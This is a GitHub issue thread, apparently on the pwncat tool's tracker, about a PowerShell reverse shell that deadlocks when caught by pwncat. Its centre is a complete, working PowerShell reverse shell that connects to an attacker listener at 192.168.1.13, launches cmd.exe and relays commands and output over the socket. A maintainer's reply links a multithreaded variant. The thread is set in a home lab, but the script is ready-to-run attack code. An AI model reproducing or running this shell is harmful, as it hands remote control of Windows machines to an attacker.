Closed TW-D closed 3 years ago
While that reverse shell works for short/simple commands executed directly on cmd.exe
, it will break when trying to run larger commands or subprocesses. This is mainly due to the sequential nature of the reads/writes. Because your script has to wait until it's done reading from the socket to write anything back, you're hitting a deadlock where pwncat is waiting for the output of the process while your reverse shell is waiting for input from pwncat.
In a real language, you could easily multithread the reads/writes to ensure that never happens. Technically, that's possible in powershell, but last I heard it was cumbersome at best. There is a command ForEach-Object
that will supposedly eventually have a -Parallel
option which could solve this, but I don't think it's in release status/common at this point.
If you can get a powershell-only reverse shell that multithreads the IO, I'd be very interested, but I'm not sure it's even possible with the features of the language right now. That being said, there's a lot of options over at revshells for reverse and bind shells on Windows.
Thank you for your answer. I understand that the logic of the reverse shell in terms of programming is important for the proper functioning of 'pwncat', so I have rewritten the reverse shell. But still the same problem.
$lhost = '192.168.1.13'
$lport = '44478'
function require_cleanup {
if ($client.Connected -eq $true) {
$client.Close()
Write-Host 'Remote attacker closed'
}
if ($process.ExitCode -ne $null) {
$process.Close()
Write-Host 'Remote process closed'
}
Exit
}
function get_output {
if ( ($output.Read()) -gt 0 ) {
$raw = ''
while ($output.Peek() -ne -1) {
$raw += $encoding.GetString($output.Read())
}
$raw += ' '
$stream.Write($encoding.GetBytes($raw), 0, $raw.Length)
$stream.Flush()
}
}
Try {
$client = New-Object System.Net.Sockets.TcpClient
$client.ReceiveTimeout = 45000
$client.Connect($lhost, $lport)
$stream = $client.GetStream()
$buffer = New-Object System.Byte[] $client.ReceiveBufferSize
} Catch {
# Nothing
} Finally {
Write-Host 'Remote attacker connected'
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = 'C:\\Windows\\System32\\cmd.exe'
$process.StartInfo.RedirectStandardInput = 1
$process.StartInfo.RedirectStandardOutput = 1
$process.StartInfo.UseShellExecute = 0
$process.Start()
$input = $process.StandardInput
$output = $process.StandardOutput
Start-Sleep 2
Write-Host 'Remote process started'
$encoding = New-Object System.Text.AsciiEncoding
Try {
# banner
get_output
while ( ($bytes = $stream.Read($buffer, 0, $buffer.Length)) ) {
if ( ($client.Connected -ne $true) -or ($process.ExitCode -ne $null) ) {
require_cleanup
} else {
$command = $encoding.GetString($buffer, 0, $bytes)
$input.Write($command)
Start-Sleep 1
# command output
get_output
}
}
} Catch {
# Nothing
}
}
Do you think you can help me to take this reverse shell and make it compatible with 'pwncat' ?
This is not perfect, and I can't get the threads to properly stop. PowerShell doesn't really support multithreaded environments, so this is kind of a hacky solution, but it technically works. The builtin PSJobs don't appear to work, so I used a separate runspace to simulate what would normally be "threads", but stopping them appears to make the process hang.
https://gist.github.com/calebstewart/b183de2287dd3435de28d4211631b750
edit - In hindsight, I wasn't very clear. I tested the implementation at the above gist, and it works both as a regular bind/reverse shell and with pwncat. The only downside is that it doesn't properly close Runspace's used for threads.
You have helped me a lot, it's really great to have taken your time for this. I will rewrite line by line your script to understand it. Thanks again for your help.
Hello, after several attempts to catch my reverse shell, the same problem repeats.
On the machine playing the role of the victim (Microsoft Windows 10 - 192.168.1.19)
Content of the powershell script (powershell.reverse.ps1)
On the machine playing the role of the attacker (Ubuntu 20.04 - 192.168.1.13)
Each time the same error "connection failed: channel recieve timed out: b''". With netcat it works.
Thanks for your help. Note: If you run the reverse shell from a location other than "C:\path" for example "E:\", pwncat abruptly terminates, but that is not the same problem here.